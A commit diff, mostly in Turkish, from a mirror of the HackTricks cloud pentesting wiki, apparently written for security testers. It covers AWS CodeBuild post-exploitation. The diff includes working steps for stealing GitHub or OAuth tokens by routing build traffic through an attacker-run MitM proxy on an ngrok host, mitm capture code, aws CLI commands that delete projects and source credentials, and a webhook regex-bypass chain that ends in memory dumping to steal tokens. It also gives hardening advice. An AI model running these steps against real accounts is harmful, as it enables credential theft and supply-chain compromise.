mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
+28
-20
@@ -4,43 +4,43 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gizli Anahtarları Kontrol Et
|
||||
### Check Secrets
|
||||
|
||||
Eğer Codebuild'de Github, Gitlab veya Bitbucket'a bağlanmak için kişisel tokenlar, şifreler veya OAuth token erişimi şeklinde kimlik bilgileri ayarlandıysa, bu **kimlik bilgileri gizli yöneticide gizli olarak saklanacaktır**.\
|
||||
Bu nedenle, gizli yöneticiyi okuma erişiminiz varsa, bu gizli bilgileri alabilir ve bağlı platforma geçiş yapabilirsiniz.
|
||||
Eğer CodeBuild içinde Github, Gitlab veya Bitbucket'e bağlanmak için personal tokens, passwords veya OAuth token access şeklinde credentials ayarlandıysa, bu **credentials secret manager içinde secrets olarak saklanacaktır**.\
|
||||
Bu nedenle, secret manager'ı okuma erişiminiz varsa bu secrets'ları elde edip bağlı platforma pivot yapabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### CodeBuild Repo Erişimini Kötüye Kullanma
|
||||
### Abuse CodeBuild Repo Access
|
||||
|
||||
**CodeBuild**'i yapılandırmak için, kullanacağı **kod deposuna erişim** gerekecektir. Bu kodu barındıran birkaç platform olabilir:
|
||||
CodeBuild'i yapılandırmak için, kullanacağı code repo'ya **erişimi olması gerekir**. Bu kodu barındırabilecek birkaç platform olabilir:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**CodeBuild projesinin**, yapılandırılmış kaynak sağlayıcısına erişimi olmalıdır; bu, **IAM rolü** veya bir github/bitbucket **token veya OAuth erişimi** ile olabilir.
|
||||
**CodeBuild projesinin**, yapılandırılmış source provider'a erişimi olması gerekir; bu ya **IAM role** ile ya da bir github/bitbucket **token veya OAuth access** ile sağlanır.
|
||||
|
||||
**CodeBuild** üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kötüye kullanarak yapılandırılmış deponun kodunu ve ayarlanan kimlik bilgilerine erişimi olan diğerlerini sızdırabilir.\
|
||||
Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerinin erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
|
||||
CodeBuild üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kullanarak yapılandırılmış repo'nun ve ayarlanmış creds'lerin erişimi olan diğer repo'ların kodunu leak edebilir.\
|
||||
Bunu yapmak için saldırganın yapması gereken tek şey, **yapılandırma credential'larının erişimi olan her repo için repository URL'sini değiştirmek** (aws web bunların hepsini sizin için listeleyecektir):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ve **her deponun dışa aktarımını sağlamak için Buildspec komutlarını değiştirmelidir**.
|
||||
Ve **Buildspec komutlarını her repo'yu exfiltrate edecek şekilde değiştirmek**.
|
||||
|
||||
> [!WARNING]
|
||||
> Ancak, bu **görev tekrarlayıcı ve zahmetlidir** ve eğer bir github tokenı **yazma izinleriyle yapılandırıldıysa**, bir saldırgan **bu izinleri (kötüye) kullanamayacaktır** çünkü tokena erişimi yoktur.\
|
||||
> Ya da var mı? Sonraki bölümü kontrol edin
|
||||
> Ancak bu **iş tekrarlı ve sıkıcıdır** ve eğer bir github token'ı **write permissions** ile yapılandırıldıysa, saldırgan **bu izinleri (ab)use edemeyecektir** çünkü token'a erişimi yoktur.\
|
||||
> Ya da var mı? Bir sonraki bölüme bakın
|
||||
|
||||
### AWS CodeBuild'den Erişim Tokenlarını Sızdırma
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
CodeBuild'de verilen erişimi Github gibi platformlara sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin:
|
||||
CodeBuild içinde verilen erişimi Github gibi platformlara leak edebilirsiniz. Harici platformlara herhangi bir erişim verilmiş mi kontrol etmek için:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### webhook filtre yanlış yapılandırması yoluyla güvensiz PR yürütülmesi
|
||||
|
||||
Webhook filtreleri zayıfsa, dış saldırganlar PR'lerinin ayrıcalıklı CodeBuild projelerinde oluşturulmasını sağlayıp CI içinde keyfi kod çalıştırabilirler.
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
Bir saldırgan, tüm bir CodeBuild projesini silebilir, bu da proje yapılandırmasının kaybına ve projeye bağımlı uygulamaların etkilenmesine neden olabilir.
|
||||
Bir saldırgan tüm bir CodeBuild projesini silebilir; bu, proje yapılandırmasının kaybına ve projeye bağımlı uygulamaların etkilenmesine neden olur.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**Olası Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi.
|
||||
**Potansiyel Etki**: Proje yapılandırmasının kaybı ve silinen projeyi kullanan uygulamalar için hizmet kesintisi.
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Bir saldırgan, CodeBuild kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
Bir saldırgan, CodeBuild kaynaklarına tags ekleyebilir, değiştirebilir veya kaldırabilir; bu da kuruluşunuzun tags'e dayalı maliyet tahsisini, kaynak takibini ve erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etikete dayalı erişim denetimi politikalarının bozulması.
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
Bir saldırgan, bir Git deposu için kaynak kimlik bilgilerini silebilir ve bu, deponun normal işleyişine bağımlı olan uygulamaları etkileyebilir.
|
||||
Bir saldırgan, bir Git deposu için kaynak kimlik bilgilerini silebilir; bu, depoya bağımlı uygulamaların normal işleyişini etkileyebilir.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**Potansiyel Etki**: Kaynak kimlik bilgilerinin kaldırılması nedeniyle etkilenen depoya bağımlı uygulamaların normal işleyişinin kesintiye uğraması.
|
||||
**Olası Etki**: Kaynak kimlik bilgilerinin kaldırılması nedeniyle etkilenen depoya bağımlı uygulamaların normal işleyişinin bozulması.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+39
-49
@@ -2,48 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Github/Bitbucket için yapılandırılmış Tokens'ları Kurtarma
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
|
||||
İlk olarak, leak yapabileceğiniz herhangi bir kaynak kimlik bilgisinin yapılandırılıp yapılandırılmadığını kontrol edin:
|
||||
Öncelikle leak yapabileceğiniz herhangi bir source credentials yapılandırılıp yapılandırılmadığını kontrol edin:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Docker Image ile
|
||||
### Docker Image Üzerinden
|
||||
|
||||
Eğer hesapta örneğin Github için kimlik doğrulaması ayarlıysa, projeyi derlemek için Codebuild'in belirli bir Docker image kullanmasını sağlayarak o erişimi **exfiltrate** edebilirsiniz (**GH token or OAuth token**).
|
||||
Eğer hesapta örneğin Github için kimlik doğrulaması ayarlı olduğunu görürseniz, Codebuild’in projeyi build etmek için belirli bir docker image kullanmasını sağlayarak bu **exfiltrate** edilen **access**’i (**GH token or OAuth token**) ele geçirebilirsiniz.
|
||||
|
||||
Bu amaçla yeni bir **Codebuild project** oluşturabilir veya mevcut bir projenin **environment**ını değiştirip **Docker image**i ayarlayabilirsiniz.
|
||||
Bu amaçla **create a new Codebuild project** yapabilir veya mevcut bir projenin **environment**’ını değiştirerek **Docker image**’ı ayarlayabilirsiniz.
|
||||
|
||||
Kullanabileceğiniz Docker image: [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, env değişkenleri `https_proxy`, `http_proxy` ve `SSL_CERT_FILE`'ı ayarlayan çok temel bir Docker image'idir. Bu, `https_proxy` ve `http_proxy`'ta belirtilen host'un trafiğinin çoğunu intercept etmenize ve `SSL_CERT_FILE`'ta belirtilen SSL CERT'e güvenmenize olanak sağlar.
|
||||
Kullanabileceğiniz Docker image [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu çok basit bir Docker image’ı olup **env variables `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** değişkenlerini ayarlar. Bu, **`https_proxy`** ve **`http_proxy`**’de belirtilen hostun trafiğinin çoğunu yakalamanıza ve **`SSL_CERT_FILE`** ile belirtilen SSL sertifikasına güvenmenize olanak tanır.
|
||||
|
||||
1. **Kendi Docker MitM image'inizi Oluşturun & Yükleyin**
|
||||
- Repo'nun talimatlarını takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`**; metadata endpoint'e yapılan istekleri intercept etmemek için.
|
||||
- Proxy'yi host'unuza ayarlamak için **`ngrok`** kullanabilirsiniz; örneğin: `ngrok tcp 4444`
|
||||
- Docker image'i oluşturduktan sonra, **public bir repo'ya yükleyin** (Dockerhub, ECR...)
|
||||
|
||||
2. **Environment'i ayarlayın**
|
||||
- Yeni bir **Codebuild project** oluşturun veya mevcut birinin environment'ını değiştirin.
|
||||
- Projeyi daha önce oluşturulan **Docker image**'i kullanacak şekilde ayarlayın
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Repo'daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`**; metadata endpoint'e yapılan istekleri yakalamamak için.
|
||||
- Proxy'yi hostunuza ayarlamak için **`ngrok`** gibi bir araç kullanabilirsiniz, örn. `ngrok tcp 4444`
|
||||
- Docker image'ı oluşturduktan sonra, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Create a **new Codebuild project** veya mevcut bir projenin **modify** edilmiş environment'ını kullanın.
|
||||
- Projeyi **previously generated Docker image**'ı kullanacak şekilde ayarlayın
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **MitM proxy'yi host'unuza ayarlayın**
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- **Github repo**'da belirtildiği gibi şu tarz bir şey kullanabilirsiniz:
|
||||
- **Github repo**'da belirtildiği gibi şu gibi bir şey kullanabilirsiniz:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Kullanılan **mitmproxy sürümü 9.0.1'di**, sürüm 10 ile bunun çalışmayabileceği rapor edildi.
|
||||
> Kullanılan **mitmproxy sürümü 9.0.1** idi; sürüm 10 ile bunun çalışmayabileceği bildirilmiş.
|
||||
|
||||
4. **Build'i çalıştırın & kimlik bilgilerini yakalayın**
|
||||
|
||||
- Token'ı **Authorization** başlığında görebilirsiniz:
|
||||
- **Authorization** başlığında token'ı görebilirsiniz:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu, aws cli üzerinden şu şekilde de yapılabilir:
|
||||
Bu ayrıca aws cli ile şu şekilde de yapılabilir:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -74,15 +73,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### insecureSSL ile
|
||||
|
||||
**Codebuild** projelerinin **`insecureSsl`** adında bir ayarı vardır; web arayüzünde gizlidir, yalnızca API üzerinden değiştirilebilir.\
|
||||
Bu ayarı etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı **kontrol etmeden** repository'ye bağlanmasına izin verir.
|
||||
**Codebuild** projelerinin **`insecureSsl`** adında bir ayarı vardır; bu ayar web arayüzünde gizlidir ve yalnızca API üzerinden değiştirilebilir.\
|
||||
Bunu etkinleştirmek, Codebuild'in platformun sunduğu **sertifikayı kontrol etmeden** repository'ye bağlanmasına izin verir.
|
||||
|
||||
- İlk olarak mevcut yapılandırmayı şu komutla listelemeniz gerekiyor:
|
||||
- Önce mevcut yapılandırmayı aşağıdaki gibi sorgulamanız gerekir:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Ardından, toplanan bilgilerle proje ayarındaki **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda benim bir projeyi güncelleme örneğim var; sondaki **`insecureSsl=True`**'e dikkat edin (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur).
|
||||
- Ayrıca, env değişkenleri **http_proxy** ve **https_proxy**'i tcp ngrok'unuza işaret edecek şekilde ekleyin, örneğin:
|
||||
- Ardından, elde edilen bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonunda **`insecureSsl=True`** olduğunu unutmayın (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur).
|
||||
- Ayrıca, **`http_proxy`** ve **`https_proxy`** env değişkenlerini tcp ngrok'unuza işaret edecek şekilde ekleyin:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -116,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) içindeki temel örneği çalıştırın
|
||||
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -129,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Son olarak **Build the project**'e tıklayın, **credentials** mitm portuna **düz metin** (base64) olarak gönderilecektir:
|
||||
- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~HTTP protokolü ile~~
|
||||
|
||||
> [!TIP] > **Bu zafiyet AWS tarafından 20 Şubat 2023 haftasının bir noktasında (sanırım Cuma günü) düzeltildi. Yani bir saldırgan artık bunu kötüye kullanamaz :)**
|
||||
> [!TIP] > **Bu zafiyet AWS tarafından 20 Şubat 2023 tarihinin bulunduğu hafta içinde bir noktada düzeltildi (sanırım Cuma günü). Yani artık bir saldırgan bunu kötüye kullanamaz :)**
|
||||
|
||||
Bir saldırgan, **CodeBuild üzerinde yükseltilmiş izinlere sahipse yapılandırılmış Github/Bitbucket token'ını leak edebilir** veya izinler OAuth ile yapılandırıldıysa, **koda erişimde kullanılan geçici OAuth token'ını** leak edebilir.
|
||||
CodeBuild üzerinde yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan geçici OAuth token'ını leak edebilir.
|
||||
|
||||
- Bir saldırgan, CodeBuild projesine ortam değişkenleri **http_proxy** ve **https_proxy**'i kendi makinesine işaret edecek şekilde ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Bir saldırgan **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine kendi makinesine işaret edecek şekilde ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Sonra, github repo URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
|
||||
- Sonra, repo URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Ardından, proxy değişkenlerinin işaret ettiği portta (http_proxy ve https_proxy) [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -159,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Ardından, **Projeyi derle** seçeneğine tıklayın veya derlemeyi komut satırından başlatın:
|
||||
- Ardından, **Projeyi derle** öğesine tıklayın veya derlemeyi komut satırından başlatın:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Son olarak, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna gönderilecektir:
|
||||
- Son olarak, **credentials** **düz metin halinde gönderilecek** (base64) mitm portuna:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Artık bir saldırgan token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecektir.
|
||||
> Artık bir attacker token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm privileges'i listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecek.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
## Untrusted PR execution via webhook filter misconfiguration
|
||||
|
||||
Misconfigured CodeBuild GitHub webhooks that use unanchored `ACTOR_ID` regexes let *untrusted* PRs start privileged builds. If the allowlist is like `123456|7890123` without `^`/`$`, any ID containing one of those substrings matches. Because GitHub user IDs are sequential, an attacker can race to register an “eclipsing” ID (a superstring of a trusted ID) and trigger the build.
|
||||
PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution) için bakınız:
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
|
||||
2. Obtain an eclipsing GitHub ID:
|
||||
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
|
||||
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
|
||||
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
|
||||
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
|
||||
5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu saldırı vektörü, bir **public-facing PR workflow**'un zayıf webhook kontrolleriyle bir **privileged CodeBuild project**'e bağlı olduğu durumlarda ortaya çıkar.
|
||||
|
||||
Eğer dış bir saldırgan CodeBuild'in kendi pull request'ini çalıştırmasını sağlayabilirse, genellikle **build içinde keyfi kod çalıştırma** elde eder (build script'leri, dependency hook'ları, test script'leri vb.) ve ardından secret'lara, IAM kimlik bilgilerine veya source-provider kimlik bilgilerine pivot yapar.
|
||||
|
||||
## Why this is dangerous
|
||||
|
||||
CodeBuild webhook filtreleri (non-`EVENT` filtreleri için) regex pattern'leri ile değerlendirilir. `ACTOR_ACCOUNT_ID` filtresinde, zayıf bir pattern hedeflenen kullanıcıdan daha fazlasıyla eşleşebilir.
|
||||
Eğer untrusted PR'ler privileged AWS role izinlerine veya GitHub kimlik bilgilerine sahip bir projede build ediliyorsa, bu tam bir supply-chain compromise'a dönüşebilir.
|
||||
|
||||
Wiz pratik bir zinciri şu şekilde gösterdi:
|
||||
|
||||
1. Webhook actor allowlist bir **unanchored regex** kullandı.
|
||||
2. Saldırgan, trusted ID'nin **superstring**i olarak eşleşen bir GitHub ID'si kaydetti.
|
||||
3. Kötü amaçlı bir PR CodeBuild'i tetikledi.
|
||||
4. Build içinde kod çalıştırılarak bellek dökümü yapıldı ve source-provider kimlik bilgileri/token'ları ele geçirildi.
|
||||
|
||||
## Misconfigurations that allow external PR code execution
|
||||
|
||||
Aşağıdakiler yüksek riskli hatalar ve saldırganların her birini nasıl suistimal ettiği:
|
||||
|
||||
1. **`EVENT` filters allow untrusted triggers**
|
||||
- Yaygın riskli event'ler: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
|
||||
- Ayrıcalıklı build'lere bağlandığında tehlikeli olabilecek diğer event'ler: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
|
||||
- Kötü: privileged bir projede `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"`.
|
||||
- Daha iyi: privileged projeler için PR comment approval kullanın ve tetiklenen event sayısını en aza indirin.
|
||||
- Suistimal: saldırgan kendi kontrolündeki bir branch'e PR açar/günceller veya push yapar ve kodu CodeBuild içinde çalışır.
|
||||
|
||||
2. **`ACTOR_ACCOUNT_ID` regex is weak**
|
||||
- Kötü: `123456|7890123` gibi unanchored pattern'ler.
|
||||
- Daha iyi: tam eşleşme anchoring `^(123456|7890123)$`.
|
||||
- Suistimal: regex over-match, yetkisiz GitHub ID'lerinin allowlist'ten geçmesine izin verir.
|
||||
|
||||
3. **Other regex filters are weak or missing**
|
||||
- `HEAD_REF`
|
||||
- Kötü: `refs/heads/.*`
|
||||
- Daha iyi: `^refs/heads/main$` (veya açıkça belirtilmiş trusted liste)
|
||||
- `BASE_REF`
|
||||
- Kötü: `.*`
|
||||
- Daha iyi: `^refs/heads/main$`
|
||||
- `FILE_PATH`
|
||||
- Kötü: path kısıtlaması yok
|
||||
- Daha iyi: `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$` gibi riskli dosyaları hariç tutun
|
||||
- `COMMIT_MESSAGE`
|
||||
- Kötü: `trusted` gibi gevşek bir eşleşmeyle güven işareti kabul etmek
|
||||
- Daha iyi: commit mesajını PR execution için bir trust boundary olarak kullanmayın
|
||||
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
|
||||
- Kötü: org/global webhook'larda `.*`
|
||||
- Daha iyi: sadece tam repo/org eşleşmeleri
|
||||
- `WORKFLOW_NAME`
|
||||
- Kötü: `.*`
|
||||
- Daha iyi: sadece tam workflow adı eşleşmeleri (veya bunu trust kontrolü olarak kullanmaktan kaçının)
|
||||
- Suistimal: saldırgan permissive regex'i sağlamak için ref/path/message/repo bağlamını uydurur ve build'leri tetikler.
|
||||
|
||||
4. **`excludeMatchedPattern` is misused**
|
||||
- Bu flag yanlış ayarlandığında niyet edilen mantığı tersine çevirebilir.
|
||||
- Kötü: buildspec değişikliklerini engellemek niyetiyle `FILE_PATH '^buildspec\\.yml$'` ile `excludeMatchedPattern=false`.
|
||||
- Daha iyi: `buildspec.yml`'i engellemek için aynı pattern ile `excludeMatchedPattern=true`.
|
||||
- Suistimal: savunucular riskli event/path/actor'ları engellediklerini sanırken aslında izin veriyor olabilirler.
|
||||
|
||||
5. **Multiple `filterGroups` create accidental bypasses**
|
||||
- CodeBuild, grupları OR olarak değerlendirir (bir passing group yeterlidir).
|
||||
- Kötü: bir sıkı grup + bir izin verici fallback grup (örn. sadece `EVENT=PULL_REQUEST_UPDATED`).
|
||||
- Daha iyi: actor/ref/path kısıtlamalarını uygulamayan fallback gruplarını kaldırın.
|
||||
- Suistimal: saldırgan en zayıf grubu sağlamak zorundadır.
|
||||
|
||||
6. **Comment approval gate disabled or too permissive**
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` en güvensiz olandır.
|
||||
- Çok geniş approver rolleri kontrolü azaltır.
|
||||
- Kötü: `requiresCommentApproval=DISABLED`.
|
||||
- Daha iyi: minimal approver rolleri ile `ALL_PULL_REQUESTS` veya `FORK_PULL_REQUESTS`.
|
||||
- Suistimal: fork/drive-by PR'ler trusted maintainer onayı olmadan otomatik çalışır.
|
||||
|
||||
7. **No restrictive branch/path strategy for PR builds**
|
||||
- `HEAD_REF` + `BASE_REF` + `FILE_PATH` ile defense-in-depth eksikliği.
|
||||
- Kötü: sadece `EVENT` + `ACTOR_ACCOUNT_ID`, ref/path kontrolleri yok.
|
||||
- Daha iyi: tam `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` kısıtlamalarını kombine edin.
|
||||
- Suistimal: saldırgan build girdilerini (buildspec/CI/dependencies) değiştirir ve keyfi komut çalıştırma elde eder.
|
||||
|
||||
8. **Public visibility + status URL exposure**
|
||||
- Public build/check URL'leri saldırganın reconnaissance ve iteratif test yapmasını kolaylaştırır.
|
||||
- Kötü: hassas log/config içeren public build'lerde `projectVisibility=PUBLIC_READ`.
|
||||
- Daha iyi: güçlü bir iş ihtiyacı yoksa projeleri private tutun ve log/artifact'leri sanitize edin.
|
||||
- Suistimal: saldırgan proje pattern'lerini/behaviour'larını keşfeder, payload ve bypass denemelerini ayarlar.
|
||||
|
||||
## Token leakage from memory
|
||||
|
||||
Wiz'in raporu, source-provider kimlik bilgilerinin build runtime context'inde bulunduğunu ve build compromise sonrası (ör. bellek dökümü yoluyla) çalınabileceğini, geniş scope'luysa repository takeover'a izin verebileceğini açıklıyor.
|
||||
|
||||
AWS ifşadan sonra hardening uyguladı, ancak temel ders değişmedi: **privileged build context'lerinde asla untrusted PR kodu çalıştırmayın** ve attacker kontrollü build kodunun kimlik bilgisi hırsızlığı deneyeceğini varsayın.
|
||||
|
||||
CodeBuild'de ek credential theft teknikleri için ayrıca bakın:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding CodeBuild URLs in GitHub PRs
|
||||
|
||||
Eğer CodeBuild commit status'u GitHub'a raporluyorsa, CodeBuild build URL'si genellikle şu yerlerde görünür:
|
||||
|
||||
1. **PR page** -> **Checks** sekmesi (veya Conversation/Commits içindeki status satırı).
|
||||
2. **Commit page** -> status/checks bölümü -> **Details** linki.
|
||||
3. **PR commits list** -> bir commite bağlı check context'e tıklayın.
|
||||
|
||||
Public projeler için bu link, kimliği doğrulanmamış kullanıcılara build meta/veri/config açıklayabilir.
|
||||
|
||||
<details>
|
||||
<summary>Script: detect CodeBuild URLs in a PR and test if they look public</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
|
||||
#
|
||||
# Requirements: gh, jq, curl
|
||||
|
||||
OWNER="${1:?owner}"
|
||||
REPO="${2:?repo}"
|
||||
PR="${3:?pr_number}"
|
||||
|
||||
for bin in gh jq curl timeout; do
|
||||
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
|
||||
done
|
||||
|
||||
tmp_commits="$(mktemp)"
|
||||
tmp_urls="$(mktemp)"
|
||||
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
|
||||
|
||||
gh_api() {
|
||||
timeout 20s gh api "$@" 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Get all commit SHAs in the PR (bounded call to avoid hangs)
|
||||
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
|
||||
